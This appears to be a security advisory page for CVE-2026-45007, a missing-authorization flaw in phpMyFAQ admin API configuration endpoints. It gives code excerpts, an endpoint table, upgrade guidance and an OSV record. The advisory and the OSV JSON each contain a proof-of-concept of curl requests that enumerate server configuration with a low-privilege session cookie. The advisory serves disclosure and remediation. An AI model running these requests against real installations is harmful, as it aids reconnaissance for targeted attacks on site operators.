CVE-2026-45007: Thorsten/phpmyfaq PhpMyFAQ's Missing CONFIGURATION_EDIT Permission Check Vulnerability

MODERATE
Advisory Identifier: GHSA-rm98-82fr-mcfx
CVSS 4.3
CWE-862
Published
Advisory Summary

CVE-2026-45007 is a MODERATE (CVSS 4.3) phpmyfaq's missing configuration_edit permission check vulnerability (CWE-862: Missing Authorization) affecting Thorsten/phpmyfaq libraries in the Packagist ecosystem. The issue involves phpmyfaq's missing configuration_edit permission check on 12 admin api configuration tab endpoints allows information disclosure by any authenticated user. Remediation is available by upgrading affected packages to version 4.1.2.

CVE-2026-45007 at a Glance

CVE Identifier CVE-2026-45007
GHSA Identifier GHSA-rm98-82fr-mcfx
Severity MODERATE
CVSS v3.1 Base Score 4.3
CWE Classification CWE-862: Missing Authorization
Affected Product Thorsten/phpmyfaq
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 4.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-45007

To remediate this vulnerability, upgrade all affected Thorsten/phpmyfaq dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

thorsten/phpmyfaq fixed: 4.1.2
Upgrade thorsten/phpmyfaq to 4.1.2
phpmyfaq/phpmyfaq fixed: 4.1.2
Upgrade phpmyfaq/phpmyfaq to 4.1.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for thorsten/phpmyfaq

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45007, inspect your project dependencies for Thorsten/phpmyfaq:

inspect dependencies for thorsten/phpmyfaq

Analyze the terminal output to locate any version of Thorsten/phpmyfaq in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Thorsten/phpmyfaq, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary 12 endpoints in `ConfigurationTabController.php` use `userIsAuthenticated()` (login-only check) instead of `userHasPermission(PermissionType::CONFIGURATION_EDIT)`. This allows any authenticated user — including ones with zero admin permissions — to enumerate system configuration metadata including the permission model, active template, cache backend, mail provider, and translation provider. ## Details The `ConfigurationTabController` contains 15 public endpoints. Three of them (`list`, `save`, `uploadTheme`) correctly enforce `CONFIGURATION_EDIT` permission: ```php // phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:63 public function list(Request $request): Response { $this->userHasPermission(PermissionType::CONFIGURATION_EDIT); // ✅ Correct // ... } ``` The remaining 12 only check that the user is logged in: ```php // phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:353 public function translations(): Response { $this->userIsAuthenticated(); // ❌ Missing permission check // ... } ``` The difference between these two methods is significant: ```php // AbstractController.php:258 — login-only protected function userIsAuthenticated(): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException(challenge: 'User is not authenticated.'); } } // AbstractController.php:317 — login + permission check protected function userHasPermission(PermissionType $permissionType): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException(challenge: 'User is not authenticated.'); } $currentUser = $this->currentUser; if (!$currentUser?->perm->hasPermission($currentUser->getUserId(), $permissionType->value)) { throw new ForbiddenException(/* ... */); } } ``` There is no middleware or router-level authorization — the Kernel (`Kernel.php`) dispatches directly to controllers with only Language, Router, and Exception listeners. All authorization is at the controller method level. The 12 affected endpoints (all GET, all under `/admin/api/`): | # | Method | Route | Info Exposed | |---|--------|-------|-------------| | 1 | `translations()` | `/configuration/translations` | Available languages + current language | | 2 | `templates()` | `/configuration/templates` | Available themes + active theme | | 3 | `faqsSortingKey()` | `/configuration/faqs-sorting-key/{current}` | FAQ sorting key options | | 4 | `faqsSortingOrder()` | `/configuration/faqs-sorting-order/{current}` | FAQ sorting order | | 5 | `faqsSortingPopular()` | `/configuration/faqs-sorting-popular/{current}` | Popular FAQ sorting | | 6 | `permLevel()` | `/configuration/perm-level/{current}` | Permission model (basic/medium) | | 7 | `releaseEnvironment()` | `/configuration/release-environment/{current}` | Dev/production environment | | 8 | `searchRelevance()` | `/configuration/search-relevance/{current}` | Search relevance config | | 9 | `seoMetaTags()` | `/configuration/seo-metatags/{current}` | SEO meta tag config | | 10 | `translationProvider()` | `/configuration/translation-provider/{current}` | Translation service (DeepL, etc.) | | 11 | `mailProvider()` | `/configuration/mail-provider/{current}` | Mail provider (SMTP, etc.) | | 12 | `cacheAdapter()` | `/configuration/cache-adapter/{current}` | Cache backend (filesystem/redis/memcached) | The `translations()` and `templates()` endpoints directly read from config/filesystem and expose current settings. The `{current}` endpoints render HTML `<option>` dropdowns where the caller-supplied value gets the `selected` attribute — an attacker can enumerate possible values to discover the current configuration. ## PoC ```bash # Step 1: Authenticate as any user (even one with no admin permissions) # and obtain the session cookie (pmf_auth_XXXX) # Step 2: Query configuration endpoints that should require CONFIGURATION_EDIT permission # Enumerate available languages and current language setting curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/translations # Enumerate available templates and which is active curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/templates # Discover permission model by trying known values curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/perm-level/basic # Discover release environment curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/release-environment/development # Discover cache backend curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/cache-adapter/filesystem # Discover mail provider curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/mail-provider/smtp # Discover translation provider curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/translation-provider/deepl ``` Expected: HTTP 403 Forbidden for a user without `configuration_edit` permission. Actual: HTTP 200 with configuration data in HTML option format. ## Impact Any authenticated user (e.g., a regular FAQ contributor or a user with minimal permissions) can enumerate: - The instance's permission model (basic vs. medium) — reveals access control architecture - Whether the instance runs in development or production mode — development mode may expose debug info - The cache backend (filesystem/redis/memcached) — useful for targeting cache-specific attacks - The mail provider configuration — reveals infrastructure details - Available and active templates/themes — aids in targeting template-specific vulnerabilities - Translation provider (e.g., DeepL) — reveals third-party service integrations While no credentials or secrets are directly exposed, this configuration metadata aids targeted follow-up attacks and violates the principle of least privilege — these endpoints exist to serve the admin configuration UI and should require the same `CONFIGURATION_EDIT` permission as the `list` and `save` endpoints. ## Recommended Fix Replace `$this->userIsAuthenticated()` with `$this->userHasPermission(PermissionType::CONFIGURATION_EDIT)` in all 12 affected methods: ```php // In ConfigurationTabController.php — apply to all 12 methods // Before (line 355, and equivalent in all others): $this->userIsAuthenticated(); // After: $this->userHasPermission(PermissionType::CONFIGURATION_EDIT); ``` Affected methods: `translations()`, `templates()`, `faqsSortingKey()`, `faqsSortingOrder()`, `faqsSortingPopular()`, `permLevel()`, `releaseEnvironment()`, `searchRelevance()`, `seoMetaTags()`, `translationProvider()`, `mailProvider()`, `cacheAdapter()`.

CVE-2026-45007 Affected Thorsten/phpmyfaq Versions

2 component(s)
Fixed Versions:
4.1.2
Product / Package Ecosystem Affected Versions Fixed Version
thorsten/phpmyfaq
Packagist
< 4.1.2
4.1.2
phpmyfaq/phpmyfaq
Packagist
< 4.1.2
4.1.2

References

Frequently Asked Questions

What is CVE-2026-45007?
CVE-2026-45007 is a security vulnerability in Thorsten/phpmyfaq involving phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User under CWE-862: Missing Authorization.
Which Thorsten/phpmyfaq versions are affected?
Affected versions include releases prior to 4.1.2 across affected packages: thorsten/phpmyfaq, phpmyfaq/phpmyfaq.
What version fixes CVE-2026-45007?
Upgrading to 4.1.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is thorsten/phpmyfaq affected?
Yes, thorsten/phpmyfaq is affected in releases prior to 4.1.2. Upgrade your dependency to 4.1.2 or later.
Is phpmyfaq/phpmyfaq affected?
Yes, phpmyfaq/phpmyfaq is affected in releases prior to 4.1.2. Upgrade your dependency to 4.1.2 or later.
What is the CVSS score of CVE-2026-45007?
CVE-2026-45007 has a CVSS v3.1 base score of 4.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-45007?
CVE-2026-45007 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Packagist dependencies for CVE-2026-45007?
Run the dependency tree command: 'inspect dependencies for thorsten/phpmyfaq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rm98-82fr-mcfx",
  "modified" : "2026-06-09T00:03:15Z",
  "published" : "2026-05-06T20:24:39Z",
  "aliases" : [ "CVE-2026-45007" ],
  "summary" : "phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User",
  "details" : "## Summary\n\n12 endpoints in `ConfigurationTabController.php` use `userIsAuthenticated()` (login-only check) instead of `userHasPermission(PermissionType::CONFIGURATION_EDIT)`. This allows any authenticated user — including ones with zero admin permissions — to enumerate system configuration metadata including the permission model, active template, cache backend, mail provider, and translation provider.\n\n## Details\n\nThe `ConfigurationTabController` contains 15 public endpoints. Three of them (`list`, `save`, `uploadTheme`) correctly enforce `CONFIGURATION_EDIT` permission:\n\n```php\n// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:63\npublic function list(Request $request): Response\n{\n    $this->userHasPermission(PermissionType::CONFIGURATION_EDIT); // ✅ Correct\n    // ...\n}\n```\n\nThe remaining 12 only check that the user is logged in:\n\n```php\n// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:353\npublic function translations(): Response\n{\n    $this->userIsAuthenticated(); // ❌ Missing permission check\n    // ...\n}\n```\n\nThe difference between these two methods is significant:\n\n```php\n// AbstractController.php:258 — login-only\nprotected function userIsAuthenticated(): void\n{\n    if (!$this->currentUser->isLoggedIn()) {\n        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');\n    }\n}\n\n// AbstractController.php:317 — login + permission check\nprotected function userHasPermission(PermissionType $permissionType): void\n{\n    if (!$this->currentUser->isLoggedIn()) {\n        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');\n    }\n    $currentUser = $this->currentUser;\n    if (!$currentUser?->perm->hasPermission($currentUser->getUserId(), $permissionType->value)) {\n        throw new ForbiddenException(/* ... */);\n    }\n}\n```\n\nThere is no middleware or router-level authorization — the Kernel (`Kernel.php`) dispatches directly to controllers with only Language, Router, and Exception listeners. All authorization is at the controller method level.\n\nThe 12 affected endpoints (all GET, all under `/admin/api/`):\n\n| # | Method | Route | Info Exposed |\n|---|--------|-------|-------------|\n| 1 | `translations()` | `/configuration/translations` | Available languages + current language |\n| 2 | `templates()` | `/configuration/templates` | Available themes + active theme |\n| 3 | `faqsSortingKey()` | `/configuration/faqs-sorting-key/{current}` | FAQ sorting key options |\n| 4 | `faqsSortingOrder()` | `/configuration/faqs-sorting-order/{current}` | FAQ sorting order |\n| 5 | `faqsSortingPopular()` | `/configuration/faqs-sorting-popular/{current}` | Popular FAQ sorting |\n| 6 | `permLevel()` | `/configuration/perm-level/{current}` | Permission model (basic/medium) |\n| 7 | `releaseEnvironment()` | `/configuration/release-environment/{current}` | Dev/production environment |\n| 8 | `searchRelevance()` | `/configuration/search-relevance/{current}` | Search relevance config |\n| 9 | `seoMetaTags()` | `/configuration/seo-metatags/{current}` | SEO meta tag config |\n| 10 | `translationProvider()` | `/configuration/translation-provider/{current}` | Translation service (DeepL, etc.) |\n| 11 | `mailProvider()` | `/configuration/mail-provider/{current}` | Mail provider (SMTP, etc.) |\n| 12 | `cacheAdapter()` | `/configuration/cache-adapter/{current}` | Cache backend (filesystem/redis/memcached) |\n\nThe `translations()` and `templates()` endpoints directly read from config/filesystem and expose current settings. The `{current}` endpoints render HTML `<option>` dropdowns where the caller-supplied value gets the `selected` attribute — an attacker can enumerate possible values to discover the current configuration.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as any user (even one with no admin permissions)\n# and obtain the session cookie (pmf_auth_XXXX)\n\n# Step 2: Query configuration endpoints that should require CONFIGURATION_EDIT permission\n\n# Enumerate available languages and current language setting\ncurl -s -b 'pmf_auth_XXXX=<session>' \\\n  https://target.example/admin/api/configuration/translations\n\n# Enumerate available templates and which is active\ncurl -s -b 'pmf_auth_XXXX=<session>' \\\n  https://target.example/admin/api/configuration/templates\n\n# Discover permission model by trying known values\ncurl -s -b 'pmf_auth_XXXX=<session>' \\\n  https://target.example/admin/api/configuration/perm-level/basic\n\n# Discover release environment\ncurl -s -b 'pmf_auth_XXXX=<session>' \\\n  https://target.example/admin/api/configuration/release-environment/development\n\n# Discover cache backend\ncurl -s -b 'pmf_auth_XXXX=<session>' \\\n  https://target.example/admin/api/configuration/cache-adapter/filesystem\n\n# Discover mail provider\ncurl -s -b 'pmf_auth_XXXX=<session>' \\\n  https://target.example/admin/api/configuration/mail-provider/smtp\n\n# Discover translation provider\ncurl -s -b 'pmf_auth_XXXX=<session>' \\\n  https://target.example/admin/api/configuration/translation-provider/deepl\n```\n\nExpected: HTTP 403 Forbidden for a user without `configuration_edit` permission.\nActual: HTTP 200 with configuration data in HTML option format.\n\n## Impact\n\nAny authenticated user (e.g., a regular FAQ contributor or a user with minimal permissions) can enumerate:\n\n- The instance's permission model (basic vs. medium) — reveals access control architecture\n- Whether the instance runs in development or production mode — development mode may expose debug info\n- The cache backend (filesystem/redis/memcached) — useful for targeting cache-specific attacks\n- The mail provider configuration — reveals infrastructure details\n- Available and active templates/themes — aids in targeting template-specific vulnerabilities\n- Translation provider (e.g., DeepL) — reveals third-party service integrations\n\nWhile no credentials or secrets are directly exposed, this configuration metadata aids targeted follow-up attacks and violates the principle of least privilege — these endpoints exist to serve the admin configuration UI and should require the same `CONFIGURATION_EDIT` permission as the `list` and `save` endpoints.\n\n## Recommended Fix\n\nReplace `$this->userIsAuthenticated()` with `$this->userHasPermission(PermissionType::CONFIGURATION_EDIT)` in all 12 affected methods:\n\n```php\n// In ConfigurationTabController.php — apply to all 12 methods\n// Before (line 355, and equivalent in all others):\n$this->userIsAuthenticated();\n\n// After:\n$this->userHasPermission(PermissionType::CONFIGURATION_EDIT);\n```\n\nAffected methods: `translations()`, `templates()`, `faqsSortingKey()`, `faqsSortingOrder()`, `faqsSortingPopular()`, `permLevel()`, `releaseEnvironment()`, `searchRelevance()`, `seoMetaTags()`, `translationProvider()`, `mailProvider()`, `cacheAdapter()`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.1"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-rm98-82fr-mcfx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45007"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/phpmyfaq-missing-permission-check-on-12-configuration-api-endpoints-allows-information-disclosure"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T20:24:39Z",
    "nvd_published_at" : null
  }
}